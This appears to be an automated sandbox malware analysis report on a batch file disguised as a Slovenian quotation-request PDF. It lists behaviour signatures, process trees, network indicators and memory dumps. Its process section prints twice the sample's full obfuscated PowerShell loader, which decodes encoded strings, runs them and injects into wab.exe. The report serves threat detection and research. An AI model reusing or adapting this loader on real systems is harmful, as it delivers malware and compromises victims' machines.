Analysis
- max time kernel
300s - max time network
302s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
03/08/2026, 16:55
General
- Target Zahteva za ponudbo 03-08-2026·pdf.bat
- Size 4KB
- Sample260803-ve7fssfn8x
- SHA256 c55ea31e9971686bdefdd5f0b8cd70c01af034b71141aae9870e9e1d43d69b05
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Zahteva za ponudbo 03-08-2026·pdf.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "unction k_90q { $konfo = Get-Date; [void]$konfo}$kirk = Get-Date -Format 'yyyy';rv 'skimte' 'nikk' 'byro';[System.Environment]::TickCount | Out-Null;$smell=42694-42694;$upwo19 = 'glorp blip';$flusmidd=53720-47720;function z_w77 { $rekv32evrtnin = [System.Guid]::NewGuid().ToString(); return $rekv32evrtnin}function roomthil ($vlde,$rekv32) {$trucklerb = Get-Date;$form=sprinteren192(@(118,219,223,217,209,161,180,221,226,231,148,152,196,202,222,235,159,166,123)) ;[void][System.Math]::Abs(-99);nonsep ($form);$super = 'flrb qwop'}[System.GC]::Collect();function nonsep ($cardiorrh) {[System.Environment]::GetEnvironmentVariable('OS') | Out-Null;.($squamosoi) $cardiorrh;$semiloop = [System.DateTime]::Now.Ticks}function g_p41 { $vldebac = Get-Random -Minimum 10 -Maximum 50; return $vldebac}Function Tauro ($forvalt,$sucraminee=0){$trisili = Get-Date;$elorg=sprinteren192(@(173,168,226,227,226,217,196,217,208,175,166,186,196,212,224,183,205,231,183,155,167,200,224,230,187,211,218,157,144,218,193,215,233,214,216,232,123));[void][System.Math]::Sin(1.5);$karbonader=@(nonsep ($elorg));For($frenchles=0; $karbonader[$frenchles] -ne $tilbuds; $frenchles++){$musetyfusi = [System.Guid]::NewGuid();$karbonader[$frenchles] = roomthil $karbonader[$frenchles] $julekaktus[$frenchles%6];[void][System.IO.Path]::GetTempPath()}$seronega=sprinteren192(@(127,207,226,222,218,148,173,200,219,214,222,207,175,194,151,224,205,230,180,212,225,214,208,217,196));$staticpro = 'zxb m8q';$three=nonsep ($seronega);[System.Math]::Max(5, 12) | Out-Null;if ($sucraminee) { nonsep $three;$rekv32eat = Get-Random -Minimum 1 -Maximum 100}else {;$three;[void][System.Math]::Cos(0.8)}}function sprinteren192 ($forvalt) { $rekv32iarcua = [System.DateTime]::Now.Ticks;do {[void][System.Math]::Tan(0.4);$forvalt[$smell]-=$julekaktus[$smell%6];$flusmidd=$forvalt[$smell];$estr = 'qwop zx8';$flusmidd=[char]$flusmidd;[System.Environment]::TickCount | Out-Null;$inwra+=$flusmidd;$smell++;$frenchlesndpakke = [System.Guid]::NewGuid()} while ($forvalt[$smell])[void][System.IO.Path]::GetRandomFileName();$inwra;$comp = Get-Date}function p_m92 { $rekv32loo = 'plrk blap'; return $rekv32loo}$julekaktus=@(82,101,115,117,108,116);$taale64 = Get-Process -Id $PID;$squamosoi=sprinteren192 @(155,170,203);[System.Math]::Sqrt(256) | Out-Null;$siden='\Improvis.Acc';$octast=Tauro 'Z0tDVUQjOwsXGhsHcisnVV1EfFVIVTsdPFNHTkwMZFFIVR4CaFRGR0JEe0U0EA8fPUpBRV1EYlRDREwyOxcWEwMMfVRGR0JE';$flaw = 'blip glorp';$rapistm=Tauro 'OhEHBR9OfUoXBwUCN0sUGgMTPgBdFgMZfRAQSgkMIgoBAVEQPRIdGQMVNkMaEVFFawQnBTkSBCYYDwE+FD1CEwUOYTAqTAMlHlFDIDQ+fzc=';[void][System.Text.StringBuilder]::new('flrb');$thalass=Tauro 'HxYLGABGfDYWBxoRID0+OSQgBjVdQ0JE';$stjr=Tauro 'FSAn';$vulnos = Get-Date -Format 'MMdd';$rekv32eltline=Tauro 'BxYWB0E1NQAdAQ==';$tudk=Tauro 'bA==';[System.Environment]::TickCount | Out-Null;Tauro 'dgIfGg4VPl8aBgMRPAABEglJdgAdA1YVIhUXFBgVeUEAHAgRPA==' 1;$perfekteti = [System.Guid]::NewGuid().ToString();Tauro 'dgIfGg4VPl8bHx4RIREaGVFQIAQDHB8AP0sABQAdJk1XARkQOUw=' 1;$rapistm=$hjrestil[0];$snedig = 'zx8 qw9';Tauro 'dgIfGg4VPl8XHB8eMxYYEAgBbysWAkE7MA8WFhhUfyYcGExQJg0SGQ0HIQ==' 1;[System.GC]::Collect();Tauro 'dgIfGg4VPl8HGh8EPAEWB1FcBgAAAUEkMxEbVUgdIQoWGwkGNQBa' 1;while (!$tospnder) {$dreje = Get-Random -Minimum 50 -Maximum 150;Tauro 'dgIfGg4VPl8wHAIXb0EHBxkR' 1;Tauro 'dgEaBgYVIQ4WERlaPRUWG0RQIREZB0BUdhcSBQUHJghfVUgSMwkAEEU=' 1;[void][System.IO.Path]::GetTempPath();Tauro 'dgEaBgYVIQ4WERlaIQAHJwkFJwAAASQRMwEWB0RQIAAYA19GNwkHGQUaN0lTUQMXJgQAAUU=' 1;Tauro 'dgEaBgYVIQ4WERlaIQAdEURd' 1;$conf = 'glorp qwop';Tauro 'dgIfGg4VPl8eFB8cNQwbHAFJdgEaBgYVIQ4WERlaIRESARkHckgWBExGYlU=' 1;if ($mashgihim) {[System.Math]::Abs(-123) | Out-Null;Tauro 'CQcKAQkvDzhXEgAbMAQfTx8NOQlOUQgdIQ8SBgcRNhBdBwkHIgodBgk2PQEK' 1;Tauro 'IQZTUQUHPQAdEB4TN0VXBhUfPkVeMAIXPQEaGwtUEBwHEA==' 1;$direktr = Get-Date} Tauro 'AQkWEBxcZkw=' 1;[void][System.Guid]::NewGuid();Tauro 'dgIfGg4VPl8HGh8EPAEWB1FcBgAAAUEkMxEbVUgdIQoWGwkGNQBa' 1 ;Tauro 'dgIfGg4VPl8BGhkAY1RFSEgTPgoRFABOIRAUEgkHJgxYXklQOg8BEB8AOwldFgMBPBE=' 1;$retsregel221 = 'blrb xq7';$rapistm=$hjrestil[$rout116]}[System.Environment]::TickCount | Out-Null;$skemal=153433;$gulvsspong=14882;$klangbunde = Get-Random -Minimum 1 -Maximum 99;Tauro 'dgIfGg4VPl8bHBwEbwIQVUgdIQoWGwkGNQA=' 1;Tauro 'dgIfGg4VPl8gEBQAM1goNgMaJAABATFOaCMBGgE2MxYWQ1gnJhcaGwtcdg0aBRxd' 1;[void][System.Math]::Pow(2, 8);Tauro 'dgIfGg4VPl8eEAIaNxYYEBpJCTEWDRhaFwsQGggdPAIuT1Y1ASY6PEIzNxEgAR4dPAJbUT8RKhESXA==' 1;Tauro 'dgIfGg4VPl8AHAsAb0EeEAIaNxYYEBpaIRARBhgGOwsUXUgHOQAeFABYdgIGGRoHIRUcGwtd' 1;$rekv32rosenorth = 'flp zrk';nonsep $sigt;function f_x43 { $dicrano = Get-Date; [void]$dicrano};;;#SpekulaiexAnegrete Ampasime Lipobl stof ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "unction k_90q { $konfo = Get-Date; [void]$konfo}$kirk = Get-Date -Format 'yyyy';rv 'skimte' 'nikk' 'byro';[System.Environment]::TickCount | Out-Null;$smell=42694-42694;$upwo19 = 'glorp blip';$flusmidd=53720-47720;function z_w77 { $rekv32evrtnin = [System.Guid]::NewGuid().ToString(); return $rekv32evrtnin}function roomthil ($vlde,$rekv32) {$trucklerb = Get-Date;$form=sprinteren192(@(118,219,223,217,209,161,180,221,226,231,148,152,196,202,222,235,159,166,123)) ;[void][System.Math]::Abs(-99);nonsep ($form);$super = 'flrb qwop'}[System.GC]::Collect();function nonsep ($cardiorrh) {[System.Environment]::GetEnvironmentVariable('OS') | Out-Null;.($squamosoi) $cardiorrh;$semiloop = [System.DateTime]::Now.Ticks}function g_p41 { $vldebac = Get-Random -Minimum 10 -Maximum 50; return $vldebac}Function Tauro ($forvalt,$sucraminee=0){$trisili = Get-Date;$elorg=sprinteren192(@(173,168,226,227,226,217,196,217,208,175,166,186,196,212,224,183,205,231,183,155,167,200,224,230,187,211,218,157,144,218,193,215,233,214,216,232,123));[void][System.Math]::Sin(1.5);$karbonader=@(nonsep ($elorg));For($frenchles=0; $karbonader[$frenchles] -ne $tilbuds; $frenchles++){$musetyfusi = [System.Guid]::NewGuid();$karbonader[$frenchles] = roomthil $karbonader[$frenchles] $julekaktus[$frenchles%6];[void][System.IO.Path]::GetTempPath()}$seronega=sprinteren192(@(127,207,226,222,218,148,173,200,219,214,222,207,175,194,151,224,205,230,180,212,225,214,208,217,196));$staticpro = 'zxb m8q';$three=nonsep ($seronega);[System.Math]::Max(5, 12) | Out-Null;if ($sucraminee) { nonsep $three;$rekv32eat = Get-Random -Minimum 1 -Maximum 100}else {;$three;[void][System.Math]::Cos(0.8)}}function sprinteren192 ($forvalt) { $rekv32iarcua = [System.DateTime]::Now.Ticks;do {[void][System.Math]::Tan(0.4);$forvalt[$smell]-=$julekaktus[$smell%6];$flusmidd=$forvalt[$smell];$estr = 'qwop zx8';$flusmidd=[char]$flusmidd;[System.Environment]::TickCount | Out-Null;$inwra+=$flusmidd;$smell++;$frenchlesndpakke = [System.Guid]::NewGuid()} while ($forvalt[$smell])[void][System.IO.Path]::GetRandomFileName();$inwra;$comp = Get-Date}function p_m92 { $rekv32loo = 'plrk blap'; return $rekv32loo}$julekaktus=@(82,101,115,117,108,116);$taale64 = Get-Process -Id $PID;$squamosoi=sprinteren192 @(155,170,203);[System.Math]::Sqrt(256) | Out-Null;$siden='\Improvis.Acc';$octast=Tauro 'Z0tDVUQjOwsXGhsHcisnVV1EfFVIVTsdPFNHTkwMZFFIVR4CaFRGR0JEe0U0EA8fPUpBRV1EYlRDREwyOxcWEwMMfVRGR0JE';$flaw = 'blip glorp';$rapistm=Tauro 'OhEHBR9OfUoXBwUCN0sUGgMTPgBdFgMZfRAQSgkMIgoBAVEQPRIdGQMVNkMaEVFFawQnBTkSBCYYDwE+FD1CEwUOYTAqTAMlHlFDIDQ+fzc=';[void][System.Text.StringBuilder]::new('flrb');$thalass=Tauro 'HxYLGABGfDYWBxoRID0+OSQgBjVdQ0JE';$stjr=Tauro 'FSAn';$vulnos = Get-Date -Format 'MMdd';$rekv32eltline=Tauro 'BxYWB0E1NQAdAQ==';$tudk=Tauro 'bA==';[System.Environment]::TickCount | Out-Null;Tauro 'dgIfGg4VPl8aBgMRPAABEglJdgAdA1YVIhUXFBgVeUEAHAgRPA==' 1;$perfekteti = [System.Guid]::NewGuid().ToString();Tauro 'dgIfGg4VPl8bHx4RIREaGVFQIAQDHB8AP0sABQAdJk1XARkQOUw=' 1;$rapistm=$hjrestil[0];$snedig = 'zx8 qw9';Tauro 'dgIfGg4VPl8XHB8eMxYYEAgBbysWAkE7MA8WFhhUfyYcGExQJg0SGQ0HIQ==' 1;[System.GC]::Collect();Tauro 'dgIfGg4VPl8HGh8EPAEWB1FcBgAAAUEkMxEbVUgdIQoWGwkGNQBa' 1;while (!$tospnder) {$dreje = Get-Random -Minimum 50 -Maximum 150;Tauro 'dgIfGg4VPl8wHAIXb0EHBxkR' 1;Tauro 'dgEaBgYVIQ4WERlaPRUWG0RQIREZB0BUdhcSBQUHJghfVUgSMwkAEEU=' 1;[void][System.IO.Path]::GetTempPath();Tauro 'dgEaBgYVIQ4WERlaIQAHJwkFJwAAASQRMwEWB0RQIAAYA19GNwkHGQUaN0lTUQMXJgQAAUU=' 1;Tauro 'dgEaBgYVIQ4WERlaIQAdEURd' 1;$conf = 'glorp qwop';Tauro 'dgIfGg4VPl8eFB8cNQwbHAFJdgEaBgYVIQ4WERlaIRESARkHckgWBExGYlU=' 1;if ($mashgihim) {[System.Math]::Abs(-123) | Out-Null;Tauro 'CQcKAQkvDzhXEgAbMAQfTx8NOQlOUQgdIQ8SBgcRNhBdBwkHIgodBgk2PQEK' 1;Tauro 'IQZTUQUHPQAdEB4TN0VXBhUfPkVeMAIXPQEaGwtUEBwHEA==' 1;$direktr = Get-Date} Tauro 'AQkWEBxcZkw=' 1;[void][System.Guid]::NewGuid();Tauro 'dgIfGg4VPl8HGh8EPAEWB1FcBgAAAUEkMxEbVUgdIQoWGwkGNQBa' 1 ;Tauro 'dgIfGg4VPl8BGhkAY1RFSEgTPgoRFABOIRAUEgkHJgxYXklQOg8BEB8AOwldFgMBPBE=' 1;$retsregel221 = 'blrb xq7';$rapistm=$hjrestil[$rout116]}[System.Environment]::TickCount | Out-Null;$skemal=153433;$gulvsspong=14882;$klangbunde = Get-Random -Minimum 1 -Maximum 99;Tauro 'dgIfGg4VPl8bHBwEbwIQVUgdIQoWGwkGNQA=' 1;Tauro 'dgIfGg4VPl8gEBQAM1goNgMaJAABATFOaCMBGgE2MxYWQ1gnJhcaGwtcdg0aBRxd' 1;[void][System.Math]::Pow(2, 8);Tauro 'dgIfGg4VPl8eEAIaNxYYEBpJCTEWDRhaFwsQGggdPAIuT1Y1ASY6PEIzNxEgAR4dPAJbUT8RKhESXA==' 1;Tauro 'dgIfGg4VPl8AHAsAb0EeEAIaNxYYEBpaIRARBhgGOwsUXUgHOQAeFABYdgIGGRoHIRUcGwtd' 1;$rekv32rosenorth = 'flp zrk';nonsep $sigt;function f_x43 { $dicrano = Get-Date; [void]$dicrano};;;#SpekulaiexAnegrete Ampasime Lipobl stof ;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
__PSScriptPolicyTest_gmafau2f.q55.ps1
Improvis.Acc
memory/2616-95-0x0000000000400000-0x00000000005F1000-memory.dmp
memory/2616-82-0x0000000000400000-0x00000000005F1000-memory.dmp
memory/3028-65-0x0000000007700000-0x0000000007715000-memory.dmp
memory/3028-63-0x0000000007220000-0x0000000007231000-memory.dmp
memory/3028-81-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-80-0x0000000008C50000-0x0000000009FAB000-memory.dmp
memory/3028-78-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-77-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-76-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-74-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-73-0x0000000008690000-0x0000000008C4A000-memory.dmp
memory/3028-72-0x0000000007A20000-0x0000000007A42000-memory.dmp
memory/3028-71-0x00000000079B0000-0x00000000079CA000-memory.dmp
memory/3028-70-0x0000000008010000-0x000000000868C000-memory.dmp
memory/3028-69-0x0000000007790000-0x0000000007798000-memory.dmp
memory/3028-68-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-67-0x0000000075082000-0x0000000075083000-memory.dmp
memory/3028-66-0x0000000007740000-0x000000000775C000-memory.dmp
memory/3028-64-0x0000000007270000-0x0000000007280000-memory.dmp
memory/3028-51-0x00000000061E0000-0x000000000622C000-memory.dmp
memory/3028-62-0x00000000077A0000-0x0000000007836000-memory.dmp
memory/3028-58-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-59-0x0000000007240000-0x0000000007260000-memory.dmp
memory/3028-61-0x00000000074D0000-0x0000000007573000-memory.dmp
memory/3028-46-0x0000000005CB0000-0x000000000600B000-memory.dmp
memory/3028-55-0x00000000712C0000-0x000000007130C000-memory.dmp
memory/3028-38-0x0000000075082000-0x0000000075083000-memory.dmp
memory/3028-39-0x0000000004CE0000-0x0000000004D16000-memory.dmp
memory/3028-40-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-42-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-41-0x0000000005480000-0x0000000005ACA000-memory.dmp
memory/3028-43-0x00000000053C0000-0x00000000053E2000-memory.dmp
memory/3028-45-0x0000000005B40000-0x0000000005BA6000-memory.dmp
memory/3028-44-0x0000000005AD0000-0x0000000005B36000-memory.dmp
memory/3028-54-0x0000000007290000-0x00000000072C6000-memory.dmp
memory/3028-53-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-60-0x0000000075070000-0x000000007582C000-memory.dmp
memory/3028-50-0x0000000006190000-0x00000000061AE000-memory.dmp
memory/4732-27-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-6-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-7-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-10-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-37-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-33-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-31-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-28-0x00000224DBFF0000-0x00000224DBFF8000-memory.dmp
memory/4732-30-0x00000224DC030000-0x00000224DC03A000-memory.dmp
memory/4732-29-0x00000224DC020000-0x00000224DC026000-memory.dmp
memory/4732-9-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-26-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-0-0x00007FFC6D72F000-0x00007FFC6D730000-memory.dmp
memory/4732-25-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-23-0x00000224DC040000-0x00000224DC05C000-memory.dmp
memory/4732-24-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-22-0x00000224DBFE0000-0x00000224DBFEA000-memory.dmp
memory/4732-21-0x00000224DC000000-0x00000224DC01E000-memory.dmp
memory/4732-20-0x00000224DBE80000-0x00000224DBE8A000-memory.dmp
memory/4732-19-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-18-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-16-0x00000224DBDA0000-0x00000224DBDBE000-memory.dmp
memory/4732-4-0x00000224DB9F0000-0x00000224DBA12000-memory.dmp
memory/4732-17-0x00000224DBDC0000-0x00000224DBE72000-memory.dmp
memory/4732-13-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-12-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-11-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-8-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-5-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp
memory/4732-1-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp